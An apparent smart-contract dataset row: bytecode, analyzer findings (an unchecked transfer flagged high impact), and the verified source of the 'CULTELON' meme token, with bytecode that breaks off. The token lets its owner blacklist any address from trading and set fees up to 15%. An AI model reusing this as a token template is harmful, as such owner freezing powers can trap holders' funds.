0000000081111561044e57600080fd5b82018360208201111561046057600080fd5b8035906020019184600183028401116401000000008311171561048257600080fd5b9091929391929390505050610a7d565b005b61049c610b38565b005b6104a6610c7f565b6040518082815260200191505060405180910390f35b6104fe600480360360208110156104d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c8e565b005b610508610dd3565b6040518082815260200191505060405180910390f35b610526610e35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080610596600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e5b565b90506105c4600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261100d565b91505090565b6105d261116e565b73ffffffffffffffffffffffffffffffffffffffff166105f0610a4e565b73ffffffffffffffffffffffffffffffffffffffff1614151561067b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610685610dd3565b90506000811115156106e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611916602a913960400191505060405180910390fd5b61070e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611176565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61073f61116e565b73ffffffffffffffffffffffffffffffffffffffff1661075d610a4e565b73ffffffffffffffffffffffffffffffffffffffff161415156107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006107f2610568565b905060008111151561084f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611916602a913960400191505060405180910390fd5b61087b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611176565b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6a2caaf1dd9f3a1ff600000081565b6000806108e1600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e5b565b905061090f600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261100d565b91505090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6adf56b9541c229fce00000081565b60055481565b61095e61116e565b73ffffffffffffffffffffffffffffffffffffffff1661097c610a4e565b73ffffffffffffffffffffffffffffffffffffffff16141515610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a1160006117f4565b565b600981602481101515610a2257fe5b600402016000915090508060000154908060010154908060020154908060030154905084565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad957600080fd5b6000610b216a2caaf1dd9f3a1ff6000000610b136a1dc74be914d16aa40000006adf56b9541c229fce0000006118b890919063ffffffff16565b6118b890919063ffffffff16565b90508084141515610b3157600080fd5b5050505050565b610b4061116e565b73ffffffffffffffffffffffffffffffffffffffff16610b5e610a4e565b73ffffffffffffffffffffffffffffffffffffffff16141515610be9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610bf36108b3565b9050600081111515610c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611916602a913960400191505060405180910390fd5b610c7c600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611176565b50565b6a1dc74be914d16aa400000081565b610c9661116e565b73ffffffffffffffffffffffffffffffffffffffff16610cb4610a4e565b73ffffffffffffffffffffffffffffffffffffffff16141515610d3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610dc7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118f06026913960400191505060405180910390fd5b610dd0816117f4565b50565b600080610e01600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e5b565b9050610e2f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261100d565b91505090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008090505b60248160ff1610156110035760098160ff16602481101515610e8257fe5b600402016000015442101515610ff657600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610f095760098160ff16602481101515610efa57fe5b60040201600101549150610ff5565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610f805760098160ff16602481101515610f7157fe5b60040201600201549150610ff4565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610ff35760098160ff16602481101515610fe857fe5b600402016003015491505b5b5b5b8080600101915050610e64565b5080915050919050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156110825761107b600554846118d690919063ffffffff16565b9050611164565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156110f4576110ed600654846118d690919063ffffffff16565b9050611163565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111625761115f600754846118d690919063ffffffff16565b90505b5b5b8091505092915050565b600033905090565b60008111156117f057600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a5576111ea816005546118b890919063ffffffff16565b600581905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156112d757600080fd5b505af11580156112eb573d6000803e3d6000fd5b505050506040513d602081101561130157600080fd5b8101908080519060200190929190505050507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16117ef565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115cb57611410816006546118b890919063ffffffff16565b600681905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114fd57600080fd5b505af1158015611511573d6000803e3d6000fd5b505050506040513d602081101561152757600080fd5b8101908080519060200190929190505050507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16117ee565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117ed57611636816007546118b890919063ffffffff16565b600781905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561172357600080fd5b505af1158015611737573d6000803e3d6000fd5b505050506040513d602081101561174d57600080fd5b8101908080519060200190929190505050507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b5b5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008082840190508381101515156118cc57fe5b8091505092915050565b60008282111515156118e457fe5b81830390509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737356657374696e673a204e6f20776974686472617761626c6520746f6b656e7320617661696c61626c652ea165627a7a72305820b132e20d705519ce772d0c989da12192e9ed4f17847687dc760c6b554e605b690029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,736 |
0x10cacf072d8b21363440da670bf2bfd31c4b3582
|
/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/cultelon
// Cult Elon
// Social media has done us wrong for so many years. Who needs Twitter if we get Elon.
// We need Titter not Twitter !
// Is Elon Musk a cult leader? Some may agree some may not but we DEFINITELY see him as our leader.
// He is the demi-god of the contemporary world. The CEO appeared to be a demigod willing to take risks towards achieving his outlandish ambition of landing humans on Mars in his lifetime – a sharp departure from his early competitors, the more fuddy-duddy United Launch Alliance, Arianespace, Boeing, etc. Musk was Spaceman Spiff in an arena of Bob the Builders.
// Twitter will not only be a better social media but revolutionary under Elon's leadership. This token is the vote of confidence to the world with Elon. We wish we could deliver our trust and confidence to Elon by making this project moon.
// An investment fund will be established by utilising the transaction fee. This fund allows you to remotely participate in the process of investing in various degen projects or even Tesla, making earning profit from degen projects and even stock market accessible to a wider number of people across the world and taking over the world.
// Join the cult, show our love to ELON and FUCK twitter.
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract CULTELON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "CULTELON";
string private constant _symbol = "CULTELON";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (20 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b50604080518082018252600881526721aaa62a22a627a760c11b602082015290516101a991906118b8565b60405180910390f35b3480156101be57600080fd5b506101d26101cd366004611932565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50670de0b6b3a76400005b6040519081526020016101a9565b34801561021357600080fd5b506101d261022236600461195e565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b506101706102563660046119b5565b610566565b34801561026757600080fd5b506101d2610276366004611a7a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af366004611a7a565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e4366004611a7a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d366004611a7a565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a366004611a7a565b6106dc565b34801561038b57600080fd5b506101d261039a366004611932565b610756565b3480156103ab57600080fd5b506101706103ba3660046119b5565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef366004611a7a565b610934565b34801561040057600080fd5b5061017061040f366004611a7a565b61097f565b34801561042057600080fd5b506101f961042f366004611a97565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b50610170610475366004611ad0565b610bda565b34801561048657600080fd5b50610170610495366004611a7a565b610c50565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c490611ae9565b60405180910390fd5b60006104d830610684565b90506104e381610ce8565b50565b60006104f3338484610e62565b5060015b92915050565b600061050a848484610f86565b61055c843361055785604051806060016040528060288152602001611c64602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113a1565b610e62565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f8576000600560008484815181106105b4576105b4611b1e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f081611b4a565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f7906113db565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c490611ae9565b6106da600061145f565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c490611ae9565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610f86565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc611b1e565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f9611b1e565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a611b1e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087481611b4a565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1661090a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c4565b600c805460ff60b81b1916600160b81b17905542600d81905561092f906104b0611b65565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611b7d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611b7d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611b7d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c490611ae9565b600f811115610c4b5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104c4565b600855565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e38161145f565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3057610d30611b1e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dad9190611b7d565b81600181518110610dc057610dc0611b1e565b6001600160a01b039283166020918202929092010152600b54610de69130911684610e62565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1f908590600090869030904290600401611b9a565b600060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610f255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b03821661104c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b600081116110ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c4565b6001600160a01b03831660009081526005602052604090205460ff16156111565760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c4565b6001600160a01b03831660009081526004602052604081205460ff1615801561119857506001600160a01b03831660009081526004602052604090205460ff16155b80156111ae5750600c54600160a81b900460ff16155b80156111de5750600c546001600160a01b03858116911614806111de5750600c546001600160a01b038481169116145b1561138f57600c54600160b81b900460ff1661123c5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561126b5750600b546001600160a01b03848116911614155b8015611278575042600e54115b156112bf57600061128884610684565b90506112a860646112a2670de0b6b3a764000060026114af565b9061152e565b6112b28483611570565b111